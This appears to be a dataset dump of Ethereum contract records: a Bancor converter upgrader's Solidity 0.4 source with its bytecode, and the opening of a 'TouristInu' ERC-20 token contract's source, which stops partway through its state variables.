ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561120557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561133757600080fd5b6113c681600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bda90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114508282611c21565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114b157600080fd5b600260009054906101000a900460ff161515156114cd57600080fd5b6001600260006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115d65780601f106115ab576101008083540402835291602001916115d6565b820191906000526020600020905b8154815290600101906020018083116115b957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561161b57600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561166957600080fd5b6116bb82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bda90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061175082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf690919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061189382600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf690919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ae057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b1c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611beb57600080fd5b818303905092915050565b60008183019050828110158015611c0d5750818110155b1515611c1857600080fd5b80905092915050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611c6f57600080fd5b611cc181600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bda90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1981600154611bda90919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820189bf678a87060672f452416e2d1c57a023bb435a6e6d684f389f77fdf6f55ef0029
|
{"success": true, "error": null, "results": {}}
| 8,071 |
0x6b8c3eaa82353ec89a96942708e3d9dc87db6a34
|
pragma solidity ^0.4.18;
/*
Owned contract interface
*/
contract IOwned {
// this function isn't abstract since the compiler emits automatically generated getter functions as external
function owner() public view returns (address) {}
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
/*
Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
@dev constructor
*/
function Owned() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
/**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
/**
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/*
ERC20 Standard Token interface
*/
contract IERC20Token {
// these functions aren't abstract since the compiler emits automatically generated getter functions as external
function name() public view returns (string) {}
function symbol() public view returns (string) {}
function decimals() public view returns (uint8) {}
function totalSupply() public view returns (uint256) {}
function balanceOf(address _owner) public view returns (uint256) { _owner; }
function allowance(address _owner, address _spender) public view returns (uint256) { _owner; _spender; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
/*
Smart Token interface
*/
contract ISmartToken is IOwned, IERC20Token {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
/*
Bancor Formula interface
*/
contract IBancorFormula {
function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) public view returns (uint256);
function calculateSaleReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) public view returns (uint256);
function calculateCrossConnectorReturn(uint256 _connector1Balance, uint32 _connector1Weight, uint256 _connector2Balance, uint32 _connector2Weight, uint256 _amount) public view returns (uint256);
}
/*
Bancor Gas Price Limit interface
*/
contract IBancorGasPriceLimit {
function gasPrice() public view returns (uint256) {}
function validateGasPrice(uint256) public view;
}
/*
Bancor Quick Converter interface
*/
contract IBancorQuickConverter {
function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256);
function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256);
function convertForPrioritized(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, uint256 _block, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) public payable returns (uint256);
}
/*
Bancor Converter Extensions interface
*/
contract IBancorConverterExtensions {
function formula() public view returns (IBancorFormula) {}
function gasPriceLimit() public view returns (IBancorGasPriceLimit) {}
function quickConverter() public view returns (IBancorQuickConverter) {}
}
/*
Bancor Converter Factory interface
*/
contract IBancorConverterFactory {
function createConverter(ISmartToken _token, IBancorConverterExtensions _extensions, uint32 _maxConversionFee, IERC20Token _connectorToken, uint32 _connectorWeight) public returns (address);
}
/*
Bancor converter dedicated interface
*/
contract IBancorConverter is IOwned {
function token() public view returns (ISmartToken) {}
function extensions() public view returns (IBancorConverterExtensions) {}
function quickBuyPath(uint256 _index) public view returns (IERC20Token) {}
function maxConversionFee() public view returns (uint32) {}
function conversionFee() public view returns (uint32) {}
function connectorTokenCount() public view returns (uint16);
function reserveTokenCount() public view returns (uint16);
function connectorTokens(uint256 _index) public view returns (IERC20Token) {}
function reserveTokens(uint256 _index) public view returns (IERC20Token) {}
function setExtensions(IBancorConverterExtensions _extensions) public view;
function getQuickBuyPathLength() public view returns (uint256);
function transferTokenOwnership(address _newOwner) public view;
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public view;
function acceptTokenOwnership() public view;
function transferManagement(address _newManager) public view;
function acceptManagement() public;
function setConversionFee(uint32 _conversionFee) public view;
function setQuickBuyPath(IERC20Token[] _path) public view;
function addConnector(IERC20Token _token, uint32 _weight, bool _enableVirtualBalance) public view;
function getConnectorBalance(IERC20Token _connectorToken) public view returns (uint256);
function getReserveBalance(IERC20Token _reserveToken) public view returns (uint256);
function connectors(address _address) public view returns (
uint256 virtualBalance,
uint32 weight,
bool isVirtualBalanceEnabled,
bool isPurchaseEnabled,
bool isSet
);
function reserves(address _address) public view returns (
uint256 virtualBalance,
uint32 weight,
bool isVirtualBalanceEnabled,
bool isPurchaseEnabled,
bool isSet
);
}
/*
Bancor Converter Upgrader
The Bancor converter upgrader contract allows upgrading an older Bancor converter
contract (0.4 and up) to the latest version.
To begin the upgrade process, first transfer the converter ownership to the upgrader
contract and then call the upgrade function.
At the end of the process, the ownership of the newly upgraded converter will be transferred
back to the original owner.
The address of the new converter is available in the ConverterUpgrade event.
*/
contract BancorConverterUpgrader is Owned {
IBancorConverterFactory public bancorConverterFactory; // bancor converter factory contract
// triggered when the contract accept a converter ownership
event ConverterOwned(address indexed _converter, address indexed _owner);
// triggered when the upgrading process is done
event ConverterUpgrade(address indexed _oldConverter, address indexed _newConverter);
/**
@dev constructor
*/
function BancorConverterUpgrader(IBancorConverterFactory _bancorConverterFactory)
public
{
bancorConverterFactory = _bancorConverterFactory;
}
/*
@dev allows the owner to update the factory contract address
@param _bancorConverterFactory address of a bancor converter factory contract
*/
function setBancorConverterFactory(IBancorConverterFactory _bancorConverterFactory) public ownerOnly
{
bancorConverterFactory = _bancorConverterFactory;
}
/**
@dev upgrade an old converter to the latest version
will throw if ownership wasn't transferred to the upgrader before calling this function.
ownership of the new converter will be transferred back to the original owner.
fires the ConverterUpgrade event upon success.
@param _oldConverter old converter contract address
@param _version old converter version
*/
function upgrade(IBancorConverter _oldConverter, bytes32 _version) public {
bool formerVersions = false;
if (_version == "0.4")
formerVersions = true;
acceptConverterOwnership(_oldConverter);
IBancorConverter toConverter = createConverter(_oldConverter);
copyConnectors(_oldConverter, toConverter, formerVersions);
copyConversionFee(_oldConverter, toConverter);
copyQuickBuyPath(_oldConverter, toConverter);
transferConnectorsBalances(_oldConverter, toConverter, formerVersions);
_oldConverter.transferTokenOwnership(toConverter);
toConverter.acceptTokenOwnership();
_oldConverter.transferOwnership(msg.sender);
toConverter.transferOwnership(msg.sender);
toConverter.transferManagement(msg.sender);
ConverterUpgrade(address(_oldConverter), address(toConverter));
}
/**
@dev the first step when upgrading a converter is to transfer the ownership to the local contract.
the upgrader contract then needs to accept the ownership transfer before initiating
the upgrade process.
fires the ConverterOwned event upon success
@param _oldConverter converter to accept ownership of
*/
function acceptConverterOwnership(IBancorConverter _oldConverter) private {
require(msg.sender == _oldConverter.owner());
_oldConverter.acceptOwnership();
ConverterOwned(_oldConverter, this);
}
/**
@dev creates a new converter with same basic data as the original old converter
the newly created converter will have no connectors at this step.
@param _oldConverter old converter contract address
@return the new converter new converter contract address
*/
function createConverter(IBancorConverter _oldConverter) private returns(IBancorConverter) {
ISmartToken token = _oldConverter.token();
IBancorConverterExtensions extensions = _oldConverter.extensions();
uint32 maxConversionFee = _oldConverter.maxConversionFee();
address converterAdderess = bancorConverterFactory.createConverter(
token,
extensions,
maxConversionFee,
IERC20Token(address(0)),
0
);
IBancorConverter converter = IBancorConverter(converterAdderess);
converter.acceptOwnership();
converter.acceptManagement();
return converter;
}
/**
@dev copies the connectors from the old converter to the new one.
note that this will not work for an unlimited number of connectors due to block gas limit constraints.
@param _oldConverter old converter contract address
@param _newConverter new converter contract address
@param _isLegacyVersion true if the converter version is under 0.5
*/
function copyConnectors(IBancorConverter _oldConverter, IBancorConverter _newConverter, bool _isLegacyVersion)
private
{
uint256 virtualBalance;
uint32 weight;
bool isVirtualBalanceEnabled;
bool isPurchaseEnabled;
bool isSet;
uint16 connectorTokenCount = _isLegacyVersion ? _oldConverter.reserveTokenCount() : _oldConverter.connectorTokenCount();
for (uint16 i = 0; i < connectorTokenCount; i++) {
address connectorAddress = _isLegacyVersion ? _oldConverter.reserveTokens(i) : _oldConverter.connectorTokens(i);
(virtualBalance, weight, isVirtualBalanceEnabled, isPurchaseEnabled, isSet) = readConnector(
_oldConverter,
connectorAddress,
_isLegacyVersion
);
IERC20Token connectorToken = IERC20Token(connectorAddress);
_newConverter.addConnector(connectorToken, weight, isVirtualBalanceEnabled);
}
}
/**
@dev copies the conversion fee from the old converter to the new one
@param _oldConverter old converter contract address
@param _newConverter new converter contract address
*/
function copyConversionFee(IBancorConverter _oldConverter, IBancorConverter _newConverter) private {
uint32 conversionFee = _oldConverter.conversionFee();
_newConverter.setConversionFee(conversionFee);
}
/**
@dev copies the quick buy path from the old converter to the new one
@param _oldConverter old converter contract address
@param _newConverter new converter contract address
*/
function copyQuickBuyPath(IBancorConverter _oldConverter, IBancorConverter _newConverter) private {
uint256 quickBuyPathLength = _oldConverter.getQuickBuyPathLength();
if (quickBuyPathLength <= 0)
return;
IERC20Token[] memory path = new IERC20Token[](quickBuyPathLength);
for (uint256 i = 0; i < quickBuyPathLength; i++) {
path[i] = _oldConverter.quickBuyPath(i);
}
_newConverter.setQuickBuyPath(path);
}
/**
@dev transfers the balance of each connector in the old converter to the new one.
note that the function assumes that the new converter already has the exact same number of
also, this will not work for an unlimited number of connectors due to block gas limit constraints.
@param _oldConverter old converter contract address
@param _newConverter new converter contract address
@param _isLegacyVersion true if the converter version is under 0.5
*/
function transferConnectorsBalances(IBancorConverter _oldConverter, IBancorConverter _newConverter, bool _isLegacyVersion)
private
{
uint256 connectorBalance;
uint16 connectorTokenCount = _isLegacyVersion ? _oldConverter.reserveTokenCount() : _oldConverter.connectorTokenCount();
for (uint16 i = 0; i < connectorTokenCount; i++) {
address connectorAddress = _isLegacyVersion ? _oldConverter.reserveTokens(i) : _oldConverter.connectorTokens(i);
IERC20Token connector = IERC20Token(connectorAddress);
connectorBalance = _isLegacyVersion ? _oldConverter.getReserveBalance(connector) : _oldConverter.getConnectorBalance(connector);
_oldConverter.withdrawTokens(connector, address(_newConverter), connectorBalance);
}
}
/**
@dev returns the connector settings
@param _converter old converter contract address
@param _address connector's address to read from
@param _isLegacyVersion true if the converter version is under 0.5
@return connector's settings
*/
function readConnector(IBancorConverter _converter, address _address, bool _isLegacyVersion)
private
view
returns(uint256 virtualBalance, uint32 weight, bool isVirtualBalanceEnabled, bool isPurchaseEnabled, bool isSet)
{
return _isLegacyVersion ? _converter.reserves(_address) : _converter.connectors(_address);
}
}
|
0x6060604052600436106100695763ffffffff60e060020a6000350416631050f4e8811461006e57806379ba50971461008f5780638da5cb5b146100a2578063a2367305146100d1578063ce0bd51f146100f3578063d4ee1d9014610106578063f2fde38b14610119575b600080fd5b341561007957600080fd5b61008d600160a060020a0360043516610138565b005b341561009a57600080fd5b61008d61017f565b34156100ad57600080fd5b6100b561020d565b604051600160a060020a03909116815260200160405180910390f35b34156100dc57600080fd5b61008d600160a060020a036004351660243561021c565b34156100fe57600080fd5b6100b56104a9565b341561011157600080fd5b6100b56104b8565b341561012457600080fd5b61008d600160a060020a03600435166104c7565b60005433600160a060020a0390811691161461015057fe5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015433600160a060020a0390811691161461019a57600080fd5b600154600054600160a060020a0391821691167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031681565b6000807f302e34000000000000000000000000000000000000000000000000000000000083141561024c57600191505b61025584610529565b61025e8461063d565b905061026b8482846108b6565b6102758482610b39565b61027f8482610bfe565b61028a848284610dde565b83600160a060020a03166321e6b53d8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156102d857600080fd5b6102c65a03f115156102e957600080fd5b50505080600160a060020a03166338a5e0166040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561032957600080fd5b6102c65a03f1151561033a57600080fd5b50505083600160a060020a031663f2fde38b3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561038b57600080fd5b6102c65a03f1151561039c57600080fd5b50505080600160a060020a031663f2fde38b3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156103ed57600080fd5b6102c65a03f115156103fe57600080fd5b50505080600160a060020a031663e4edf8523360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561044f57600080fd5b6102c65a03f1151561046057600080fd5b50505080600160a060020a031684600160a060020a03167f522b846327aea07106ec4d64ae4b6d6dea47689884dab650fd3a1f2e1d6a270160405160405180910390a350505050565b600254600160a060020a031681565b600154600160a060020a031681565b60005433600160a060020a039081169116146104df57fe5b600054600160a060020a03828116911614156104fa57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b80600160a060020a0316638da5cb5b6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561056f57600080fd5b6102c65a03f1151561058057600080fd5b50505060405180519050600160a060020a031633600160a060020a03161415156105a957600080fd5b80600160a060020a03166379ba50976040518163ffffffff1660e060020a028152600401600060405180830381600087803b15156105e657600080fd5b6102c65a03f115156105f757600080fd5b50505030600160a060020a031681600160a060020a03167ff764604894fa993d4370a9cb28b81c11deb1aafdb2909156173ae3833dad807560405160405180910390a350565b60008060008060008086600160a060020a031663fc0c546a6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561068c57600080fd5b6102c65a03f1151561069d57600080fd5b5050506040518051955050600160a060020a0387166324f159c26000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156106ee57600080fd5b6102c65a03f115156106ff57600080fd5b5050506040518051945050600160a060020a0387166394c275ad6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561075057600080fd5b6102c65a03f1151561076157600080fd5b5050506040518051600254909450600160a060020a0316905063034efaeb868686600080806040516020015260405163ffffffff87811660e060020a028252600160a060020a03968716600483015294861660248201529284166044840152931660648201529116608482015260a401602060405180830381600087803b15156107ea57600080fd5b6102c65a03f115156107fb57600080fd5b5050506040518051925082915050600160a060020a0381166379ba50976040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561084657600080fd5b6102c65a03f1151561085757600080fd5b50505080600160a060020a031663c8c2fe6c6040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561089757600080fd5b6102c65a03f115156108a857600080fd5b509198975050505050505050565b60008060008060008060008060008961092f578b600160a060020a03166371f52bf36000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561090f57600080fd5b6102c65a03f1151561092057600080fd5b50505060405180519050610991565b8b600160a060020a0316639b99a8e26000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561097557600080fd5b6102c65a03f1151561098657600080fd5b505050604051805190505b9350600092505b8361ffff168361ffff161015610b2b5789610a1f578b600160a060020a03166319b640158460006040516020015260405160e060020a63ffffffff841602815261ffff9091166004820152602401602060405180830381600087803b15156109ff57600080fd5b6102c65a03f11515610a1057600080fd5b50505060405180519050610a8d565b8b600160a060020a031663d031370b8460006040516020015260405160e060020a63ffffffff841602815261ffff9091166004820152602401602060405180830381600087803b1515610a7157600080fd5b6102c65a03f11515610a8257600080fd5b505050604051805190505b9150610a9a8c838c611125565b939c50919a50985096509450819050600160a060020a038b16633f4d2fc2828a8a60405163ffffffff85811660e060020a028252600160a060020a039490941660048201529190921660248201529015156044820152606401600060405180830381600087803b1515610b0c57600080fd5b6102c65a03f11515610b1d57600080fd5b505060019093019250610998565b505050505050505050505050565b600082600160a060020a031663579cd3ca6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610b8157600080fd5b6102c65a03f11515610b9257600080fd5b5050506040518051915050600160a060020a03821663ecbca55d8260405163ffffffff83811660e060020a028252919091166004820152602401600060405180830381600087803b1515610be557600080fd5b6102c65a03f11515610bf657600080fd5b505050505050565b6000610c08611260565b600084600160a060020a0316639396a7f06000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610c5057600080fd5b6102c65a03f11515610c6157600080fd5b505050604051805193505060008311610c7957610dd7565b82604051805910610c875750595b90808252806020026020018201604052509150600090505b82811015610d3c5784600160a060020a031663e7ee85a58260006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610cf657600080fd5b6102c65a03f11515610d0757600080fd5b50505060405180519050828281518110610d1d57fe5b600160a060020a03909216602092830290910190910152600101610c9f565b83600160a060020a031663d395ee0f836040518263ffffffff1660e060020a0281526004018080602001828103825283818151815260200191508051906020019060200280838360005b83811015610d9e578082015183820152602001610d86565b5050505090500192505050600060405180830381600087803b1515610dc257600080fd5b6102c65a03f11515610dd357600080fd5b5050505b5050505050565b600080600080600085610e515787600160a060020a03166371f52bf36000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610e3157600080fd5b6102c65a03f11515610e4257600080fd5b50505060405180519050610eb3565b87600160a060020a0316639b99a8e26000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610e9757600080fd5b6102c65a03f11515610ea857600080fd5b505050604051805190505b9350600092505b8361ffff168361ffff161015610dd35785610f415787600160a060020a03166319b640158460006040516020015260405160e060020a63ffffffff841602815261ffff9091166004820152602401602060405180830381600087803b1515610f2157600080fd5b6102c65a03f11515610f3257600080fd5b50505060405180519050610faf565b87600160a060020a031663d031370b8460006040516020015260405160e060020a63ffffffff841602815261ffff9091166004820152602401602060405180830381600087803b1515610f9357600080fd5b6102c65a03f11515610fa457600080fd5b505050604051805190505b9150819050856110305787600160a060020a031663d89595128260006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561101057600080fd5b6102c65a03f1151561102157600080fd5b505050604051805190506110a3565b87600160a060020a03166315226b548260006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561108757600080fd5b6102c65a03f1151561109857600080fd5b505050604051805190505b945087600160a060020a0316635e35359e82898860405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b151561110657600080fd5b6102c65a03f1151561111757600080fd5b505060019093019250610eba565b6000806000806000856111c15787600160a060020a0316630e53aae988600060405160a0015260405160e060020a63ffffffff8416028152600160a060020a03909116600482015260240160a060405180830381600087803b151561118957600080fd5b6102c65a03f1151561119a57600080fd5b5050506040518051906020018051906020018051906020018051906020018051905061124c565b87600160a060020a031663d66bd52488600060405160a0015260405160e060020a63ffffffff8416028152600160a060020a03909116600482015260240160a060405180830381600087803b151561121857600080fd5b6102c65a03f1151561122957600080fd5b505050604051805190602001805190602001805190602001805190602001805190505b939c929b5090995097509095509350505050565b602060405190810160405260008152905600a165627a7a72305820f65fb9a29caf5cce77b9476c6dede2d560ff45241749f6cb7b66c0da79c25ac60029
|
{"success": true, "error": null, "results": {}}
| 8,072 |
0xc03a882b4afc92249cffa7c79110b75d8240a764
|
/**
,----,
,/ .`|
,` .' : ___ ,---,
; ; / ,--, ,--.'|_ ,`--.' |
.'___,/ ,' ,---. ,--, __ ,-. ,--.'| | | :,' | : : ,---, ,--,
| : | ' ,'\ ,'_ /| ,' ,'/ /| | |, .--.--. : : ' : : | ' ,-+-. / | ,'_ /|
; |.'; ; / / | .--. | | : ' | |' | `--'_ / / ' .;__,' / | : | ,--.'|' | .--. | | :
`----' | | . ; ,. : ,'_ /| : . | | | ,' ,' ,'| | : /`./ | | | ' ' ; | | ,"' | ,'_ /| : . |
' : ; ' | |: : | ' | | . . ' : / ' | | | : ;_ :__,'| : | | | | | / | | | ' | | . .
| | ' ' | .; : | | ' | | | | | ' | | : \ \ `. ' : |__ ' : ; | | | | | | | ' | | |
' : | | : | : | : ; ; | ; : | ' : |__ `----. \ | | '.'| | | ' | | | |/ : | : ; ; |
; |.' \ \ / ' : `--' \ | , ; | | '.'| / /`--' / ; : ; ' : | | | |--' ' : `--' \
'---' `----' : , .-./ ---' ; : ; '--'. / | , / ; |.' | |/ : , .-./
`--`----' | , / `--'---' ---`-' '---' '---' `--`----'
---`-'
✉️Telegram : https://t.me/touristinu
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TouristInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 333333333333 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,8,0,8);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 15;
uint256 launchedAt;
uint256 deadBlock;
string private constant _name = "TouristInu";
